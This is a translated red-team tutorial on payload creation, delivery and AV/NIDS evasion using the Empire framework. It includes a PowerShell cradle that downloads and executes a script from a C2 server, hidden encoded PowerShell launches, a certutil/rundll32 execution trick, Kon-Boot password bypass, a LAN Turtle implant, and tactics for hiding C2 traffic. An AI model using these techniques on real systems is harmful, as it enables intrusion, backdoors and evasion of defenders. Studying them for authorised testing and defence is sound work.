红队技术从零到一 part 2

Change 专题 2018年10月8日发布

导语:在上一篇文章中,我们已经介绍过“什么是红队技术”、“渗透性测试VS红队技术”、“我们的目标”、“C2/Post-Exploitation框架选择”和“C2基础设施”。在这一部分,我们将介绍有效负载创建、有效负载交付和AV/NIDS规避。

这是该系列的第二篇也是最后一篇,我强烈建议所有正在阅读本文的人首先阅读第一部分然后来到这里。在上一篇文章中,我们已经介绍过“什么是红队技术?”、“渗透性测试VS红队技术”、“我们的目标”、“C2/Post-Exploitation框架选择”和“C2基础设施”。

在这一部分,我们将介绍有效负载创建、有效负载交付和AV/NIDS规避。

3.有效负载创建

Empire为我们提供了各种选项来生成你的Powershell代理,其中包括:exe、dll、Macro、HTA、bat、lnk、SCT、shellcode、bunny和ducky等。

empire_usestager_windows.png

Empire窗口有效载荷选项

一些负载创建技术:

3.1 ONE LINER POWERSHELL有效载荷

这里有效载荷的整个第一阶段是base64编码的,并使用Powershell iex(Invoke Expression)执行。一旦执行,它将从C2服务器进一步下载完整的Powershell代理。这个内核Powershell有效负载可以嵌入到宏、HTA文件中,也可以作为OLE对象嵌入。在此阶段,它有很高的机会被AV检测和标记。

> Powershell -W Hidden -nop -noni -enc <base64 payload>  -> Would decode and execute the base64 Powershell payload

Selection_005-768x238.png

one liner Base64编码Empire有效载荷

3.2 WINDOWS ONE LINER下载和执行代码

有多种方法可以从远程服务器下载和执行文件,我们可以使用Powershell、Wscript、mshta、rundll32、Wmic、regsvr32、MSBuild等实现此功能。

我们可以告诉Powershell从C2服务器下载ps1文件并执行它,而不是直接将base64有效负载作为命令行参数传递。它也有很高的机会被AV标记,但有些方法你可以试图规避AV,我们将在AV规避部分讨论。

Powershell -exec bypass -c “(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(‘http://webserver/payload.ps1’)|iex”  -> Would use the system proxy, download and execute a ps1 file

powershell_one_liner.png

Powershell one liner用于使用系统代理下载和执行有效负载

这是由@arno0x0x在windows one liners上编写的优秀资源,用于下载和执行任意代码。

3.3 HID有效负载

在参与过程中,如果我们通过电子邮件发送的有效负载失败或被检测到,那么我们可以尝试在使用HID设备(如bash bunny或rubber ducky)成功进行物理入侵后执行它。几乎所有认真对待安全性的主要组织都阻止了USB,所以别想在系统中插入闪存了。在我的经历中,我看到HID攻击在真正的战斗中是相当成功的。

你可以使用不同的文件扩展名(如bat、SCT、lnk等)执行Powershell有效负载,或者你可以使用橡皮鸭(rubber ducky)编写整个Empire Powershell脚本并执行它。它具有较少的检测机会,但文件接触磁盘并可能留下更多的取证证据。

vbs_empire.png

Empire生成的Vbs脚本

3.4 在不使用POWERSHELL.EXE的情况下运行POWERSHELL有效负载

由于Powershell被恶意软件作者严重滥用,许多组织要么完全阻止Powershell.exe执行,要么启用所有Powershell日志记录模块,然后将其传递给中央日志分析工具,如果发现任何可疑活动,就会触发警报。如果Powershell执行被阻止,我们可以在不运行Powershell.exe的情况下启动Powershell。它可以通过多种方式实现。

3.4.1 使用POWERSHDLL

我们使用dll文件运行Powershell脚本,它不需要访问Powershell.exe,因为它使用的是Powershell自动化dll。如果我们不能直接将dll文件传输到远程机器,我们可以使用带有HID设备的certutil命令构建dll文件,然后使用该dll文件执行任何Powershell one liner代码或脚本。

> base64 Powershdll.dll > Powershdll_b64.txt (converts the dll file into base64 and use a HID device to transfer this base64 data onto the victim’s machine)
> certutil -decode Powershdll_b64.txt output.dll (again convert the base64 chunck of data into a dll file)
> rundll32 output,main “Powershell script”

使用Powershdll运行base64编码的脚本:

> rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex

当Powershell.exe被阻止时,还有多种其他技术可以执行Powershell代码。你可以使用MSBuild实用程序来构建自己的exe文件,也可以构建一个不调用Powershell.exe的SCT文件。

4.有效负载交付

在组织内部网络中交付有效负载时,只有两种主要的有效负载交付选项:

4.1 通过电子邮件

精心设计的鱼叉式网络钓鱼电子邮件足以让组织陷入困境,但由于每个组织都非常重视电子邮件安全,因此通过电子邮件传递有效负载也变得越来越困难了。你的附件或下载链接将由一系列不同的安全设备进行检查,并且必须绕过所有这些设备才能在计算机上执行。

它至少得绕过收件人的电子邮件安全网关、Web过滤器和端点保护。它还取决于你如何嵌入有效负载以及安装的安全设备。

我可以通过三种方式考虑通过电子邮件附件/嵌入式下载链接提供有效负载:

· Office宏:在许多组织中,默认情况下启用宏是进行合法工作的最佳方式。

· HTA文件:相当多,由Microsoft HTML应用程序主机-mshta.exe执行。

· Office DDE漏洞利用:请马上修补。如果客户端有最新版本的Office,则毫无用处。

以下是通过电子邮件传递恶意软件的其他方法,你无法在当前方案中使用它们,但是你可以尝试一下,具体取决于组织内使用的防御设备的强度。

· 浏览器漏洞利用:没有用,除非你有最新浏览器0 day(主要是IE)。

· 递送EXE:递送嵌入到exe文件中的恶意软件应该是你能想到的最后一件事。从互联网上下载的任何exe都必须经过严格的检查和持续的行为监控。在受限制的环境中,可执行文件的数字签名在执行之前会被检查。如果它没有使用流行实体签名,那么端点保护将阻止该exe文件的执行。

· Microsoft Office OLE漏洞:你可以尝试一下,但所有端点保护软件实际上都会在任何Office文件中查找任何OLE嵌入对象,它会被标记9次或者10次。

· Java偷渡式下载/闪存攻击:大多数时候都会立即被端点保护标记。

通过电子邮件传递恶意软件的风险在于,如果你的有效负载被端点保护标记,蓝队可能会开始调查它,他们可能会阻止你的网络钓鱼域进入其组织内部,从而阻断你以后通过该电子邮件服务器发送任何网络钓鱼邮件的希望。

另一种方法是在解密实际有效负载之前,使恶意软件有效负载检查特定的Windows域。如果蓝队试图在沙盒或虚拟化环境中分析你的恶意软件,那么它们将无法找到你的C2域,因为它将保持加密状态,直到找到正确的Windows域。这将确保有效负载仅在具有我们已设置的正确Windows域的活动目录环境中解密和执行。对于其他人来说,它只是一个加密的blob。同样,你也可以使你的有效负载检查预定义的公共IP地址而不是Windows域名,这将确保它在你希望的组织中执行。

4.2 在成功的物理入侵/社会工程之后

几乎在所有的大型组织中,USB上的任何类型的大容量存储设备总是被通过Active目录或DLP(Data loss prevention,数据丢失防护)端点软件强制执行的策略阻止。因此,在任何系统中放入闪存驱动器都是不可能的。我们必须找到任何无人值守/锁定的系统,我们可以用它来达到目的。如果我们在未锁定的系统前几秒钟,那将会容易很多,或者我们可以让一些员工通过社交工程师让我们访问他/她的解锁系统几分钟,把自己伪装成一个IT人员。如果系统被锁定,我们可以使用konboot实用程序绕过密码,前提是我们有足够的时间。

4.2.1 KONBOOT(密码旁路工具)

它是一个装在USB驱动器中的实用程序,上面运行着一个小型的便携式Linux系统,你需要将其插入并重新启动系统。它在运行时进行了一些更改,你无需输入任何密码即可登录Windows系统。相比于任何其他密码破解程序而言,它的优点是它只删除密码一次,然后从下次启动系统将像以前设置的那样工作。它既不会从SAM中删除密码也不会更改它,使其变得很隐蔽,并且不会引起注意,因为当员工下次登录时,他不会发现任何可疑的东西。

对于连接到域的系统,这是一个方便的技巧,因为身份验证发生在域控制器而非本地。插上LAN电缆,插入konboot usb,然后重启系统。我不确定这是如何工作的,但它以某种方式从本地进行身份验证,并且不会尝试连接到AD。绕过密码后,你可以再次插入LAN电缆并成为域用户。

你得从那里记下网络详细信息(IP地址、网关、子网掩码和MAC地址),因为它会让你在以后的网络植入中方便使用,或者你想将kali机器连接到本地网络,考虑到IP分配是静态的这一事实,并且有一个NAC(网络访问控制)用于检查连接到网络的有效设备。

Windows的konboot商业许可证价格约为75美元。如果驱动器已加密,则无法工作,因为操作系统需要密码才能解密。

4.2.2 HID设备(模拟为合法键盘)

当我们面前有一个已经解锁了的系统时(只有很短一段时间),我们可以使用USB HID设备,它可以模拟为键盘,并且可以自动键入全长有效载荷。系统会将其检测为键盘,从而允许它运行。有不同的HID设备可供选择,你可以使用Adruino pro micro制作你自己的一个(这样比较省钱),但我更喜欢来自Hak5的Rubber ducky 和Bash bunny,它们包装精良、隐秘、非常容易设置,bash bunny还有很多选择。你还可以使用kali Nethunter将你的Android手机模拟为HID设备。

rubber_ducky_1-300x300.jpg

你可以把你的有效负载放在Rubber ducky /Bash bunny里,一旦插上,它会自动打开cmd,并且Powershell或记事本会在几秒钟内输入你的有效负载,或者你可以用它来创建.bat、.vbsript文件或.HTA文件并执行它。使用不接触磁盘并在内存中运行的有效负载会更好,一个很好的例子就是Powershell Invoke-Expression,它允许你在内存中运行任何Powershell脚本而不触及磁盘,从而最大限度的降低了检测风险。

如果你能负担得起它们,你也可以在建筑物周围放下几只Rubber ducky,希望有人将它插入系统中。这里涉及的风险是,屏幕上会发生一些事情,可能会引起怀疑。

4.2.3 网络植入(隐藏远程后门)

Hak5开发了一些优秀的硬件设备,可以在红队评估期间作为远程后门工作。我最喜欢的设备之一是LAN Turtle,你可以将其与LAN线一起插入CPU,或者只需将任何免费的LAN线插入其中,然后使用USB充电器为其供电,因为它体积小、设计小巧,如果放置正确,可能会被忽视数周甚至数月。

它有很多令人惊叹的功能,如AutoSSH / OpenVPN客户端。我个人建议使用OpenVPN客户端模块,它可以将你连接到组织的网络,通过它你可以进行进一步的利用。你还可以使用LAN Turtle中的响应程序模块捕获NTLM哈希并使用哈希访问其他计算机。当你坐在沙发上观看Netflix时,它就会让你进入组织的网络!

turtle-300x169.jpg

5. AV/端点保护/NIDS规避

我不是AV /NIDS规避方面的专家,但经过大量的阅读和各种AV的实验,我得到了一些适合我的基本技术。在撰写本文时,我会介绍如何绕过一些最常用的Entrprise Endpoint Protection软件,这些软件在完全修补好和更新好的Win7上与商业NIDS一起工作。我从自身的经验中学到的是,为了规避AV和IDS,你首先需要了解它们的实际工作方式。你将它们如何将某些程序标记为恶意程序的工作方式了解得越深入,你就越能规避。

5.1 防病毒/端点规避

我不想去说明对我明确有用的技术,因为它可能对你不起作用。本文中对我有用的内容可能不适合你,因为AV供应商可能会更新其检测技术或签名,但我会说明有关AV规避的一些重要观点:

5.1.1 避免丢弃有效负载传递的可执行文件

从互联网下载的任何可执行文件都将通过一系列安全产品进行严格检查。使用启发式算法,AV会尝试在沙箱中执行它,并通过逆向工程检查任何已知恶意软件的可能签名。此外,如果它是未签名的二进制文件,那么由于系统上实施的策略,它可能无法执行。

5.1.2 使用预加载的MICROSOFT工具

Windows系统附带大量预装工具,如Powershell、WMI、mshta、Wscript和regsvr32等,可用于下载/执行恶意软件负载。使用预先加载的二进制文件的优点是,我们可以轻松绕过应用程序限制,因为这些是合法签名的Windows二进制文件,它会使攻击看起来不那么可疑。

5.1.3 POWERSHELL攻击仍然有效

最近,Powershell被恶意软件操作者严重滥用,AV供应商也相应地更新了他们的签名,能检测到互联网上任何框架生成的几乎所有默认有效负载。尽管如此,绕过大多数基于AV的签名检测依旧不是很困难。

Win 10预装了AMSI(Antimalware Scan Interface,反恶意软件扫描接口),这使得规避变得更加困难,但大型组织的大部分基础设施仍都在Win 7上。在做了更多关于AMSI的工作后,我将更新这篇文章。

5.1.4 混淆总是有效的,并且越多越好

使用Obfuscation,我成功绕过了大多数Endpoint保护软件。非常感谢@danielhbohannon创建了一些非常棒的混淆项目。他创建了4个关于混淆的伟大项目,这对红队和蓝队都很有帮助:

· Invoke-Obfuscation

· Revoke-Obfuscation

· Invoke-CradleCrafter

· Invoke-DOSfuscation

我建议任何阅读本文的人使用这些框架,并学习如何定制更多的默认输出。

Sample Powershell command without Obfuscation:
Write-Host ‘Test Obfuscation’ -Import test
Same command with Obfuscation
.(“{2}{1}{0}”-f ‘t’,’s’,’Write-Ho’) (“{2}{5}{1}{3}{0}{4}”-f’scatio’,’st ‘,’T’,’Obfu’,’n’,’e’) -Import (“{1}{0}”-f ‘est’,’t’)

invoke-obfuscation.png

调用,混淆

另外两个伟大的项目是Veil和Shellter,我从未在任何真正的事物中使用它们,原因是它们主要处理的是可执行文件。

现代端点保护还内置了一些基于主机的IDS功能,例如检查恶意主机流量、Web信誉等,我们将在NIDS规避中讨论这些功能。

5.2 NIDS规避

在我们成功绕过Endpoint Protection之后,我们还需要绕过企业级NIDS系统。从广义上讲,NIDS可以分为两类:

5.2.1 基于签名的NIDS

基于签名的NIDS通过将网络流量与任何已知的恶意软件流量模式进行匹配来工作。它可以包括C2服务器域、使用的协议、使用的URL、用户代理、服务器版本和默认页面等。

在Empire示例中,这些C2指标很容易被改变。NIDS数据库具有Empire默认流量或任何已知主要开发框架的网络流量模式。如果我们单独使网络模式,就可以轻松绕过基于签名的NIDS。下面的屏幕截图是Empire代理的HTTP流量,它看起来类似于普通的网络流量,但是我们更改了默认的C2指标,如C2 URL、用户代理、服务器标头和响应HTML正文等。

Agent_communincation_in_http_1.png

自定义Empire代理C2通信HTTP流量

5.2.2基于流量异常的NIDS

基于流量异常的NIDS以与基于签名的IDS不同的方式工作。基于流量异常的IDS构建了组织内正常流量的模式,它们将这些数据提供给它们的机器学习算法,如果IDS发现任何与正常流量模式不匹配的流量,它会将其标记为恶意流量。如果我们可以将我们的C2流量混合为正常流量模式,我们可以避开基于流量异常的IDS。

我想说几点我在游学中学到的NIDS规避的方法:

5.2.2.1 选择正确C2通信协议

当涉及到C2协议时,你有很多种选择。有效负载可以使用TCP、HTTP(s)、DNS、ICMP或自定义协议与C2通信。逃避侦查的最好方法就是混入其中。例如我们在下面的屏幕截图中所看到的,Meterpreter与C2服务器保持恒定的TCP连接。这种流量模式具有很强的可预见性,因此很容易被检测到。

Meterpreter_traffic-768x268.png

通过TCP的Constant Meterpreter流量

如果我们选择任何自定义C2协议,也可能会被怀疑,因为自定义协议不在正常流量数据库中。混合的最佳方法之一是使用常用的协议,如HTTP或DNS。使用HTTP时,我们可以轻松融入正常的网络流量,在这里,我们将Empire C2服务器设置为Microsoft的Live电子邮件服务器。我们也可以使用DNS进行C2通信,但它有自己的局限性。当使用DNS作为C2协议时,数据传输速度将非常慢,并且网络将产生数千个加密的DNS请求,这可能会引起怀疑。C2协议选择完全取决于你所定位的组织。

Empire_http_traffic.png

使用自定义延迟和抖动在HTTP中构建流量

5.2.2.2 选择正确的C2域名

切勿仅使用IP地址进行C2服务器通信。任何好的NIDS都会阻止重复连接到同一个IP地址,并且你的C2流量会从其他地方脱颖而出,因为正常情况下,网络通信只发生在一个域名上。在NIDS规避方面,用于C2服务器的域名也很重要。如果你的C2域名声誉不好,那么NIDS可能会完全阻止你的域与任何系统进行通信。如果你要购买二手域名,请务必检查域名的声誉。

从医疗保健或金融等特定类别购买域名,因为由于合规性问题,IDS检查或破坏该类别域名的SSL连接的可能性较小。

你还应该考虑老化你的域名,新购买的域名可能会引起怀疑。

5.2.2.3 在正常流量中混合C2流量

如果你使用的是HTTP/DNS等常用协议,那么你已经融入了正常的通信模式,但是,如果你使用默认时间间隔与C2通信,基于流量异常的NIDS仍然可以很容易地检测到你。

你应该将代理的回调时间从默认值(5s)增加到更大的值,使用抖动和更长的延迟时间会更好。增加你的回调时间太麻烦了,因为要执行一个命令时,你得等待你的回调时间间隔完成。你必须在两者之间找到一个平衡点,这对你最有利。

5.2.2.4 带有效证书的SSL上的C2流量

尽管如此,Empire使用始终加密的POST方法在HTTP主体中发送C2流量,但绕过NIDS是不够的。通常,普通网络流量不会加密整个http POST主体,这可能会引起怀疑。以下是正常Empire通信的屏幕截图。

encrypted_c2_empire.png

Empire C2通信中的加密消息体

IDS可以清楚地看到你的整个网络流量,进行解剖并仔细分析。如果通信量是HTTP格式的,则会更加可疑。多NIDS只是让SSL流量在不检查它们的情况下运行,这在很大程度上还取决于组织是如何实现其IDS的,以及它们是否为了进行数据包检查而中断了SSL连接。

对C2通信使用SSL,并且始终使用来自已知CA颁发机构的有效签名证书总是会更加稳妥一点。我们已经讨论了如何在C2基础设施部分使用SSL设置C2基础设施。

encrypted_empire_data-768x288.png

通过SSL加密Empire C2数据

结论

AV/NIDS规避永远是猫与老鼠的游戏。对于我在上文中讨论的技术,当你在系统上尝试时,它可能无法正常工作。文章的议程是教会初学者,如果你作为红队的一员,在做一部分工作时你必须要考虑到的所有事情,我们的目标是在网络中获得初步立足点。无论我们在这个文章中讨论过什么都不是绝对的,你可能必须根据情况和组织的安全策略更改C2框架、正在使用的协议、AV规避技术、C2配置文件、C2基础设施等。

例如,如果你曾与银行业合作过,那么你就会知道许多银行的基础设施已经实施了IP白名单,它们的内部系统将仅连接到IDS规则集中预定义的选定IP地址。在这种情况下,你可以使用DNS进行C2通信,这会帮助你绕过IP白名单,因为我们没有连接到C2通信的任何IP地址。Cobalt Strike具有出色的DNS信标选项。

整个职位的关键是,红队总会找到绕过最新防守技术/软件的方法,而蓝队总是必须不断实施新技术来捍卫自己的组织。这是一场持续的拔河比赛,准备程度更高的人将获胜!

我们将在此红队系列中发布更多文章,欢迎前来交流。

谢谢阅读!

本文翻译自:https://payatu.com/redteaming-zero-one-part-2/如若转载,请注明原文地址: http://www.4hou.com/technology/13476.html
点赞 8
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论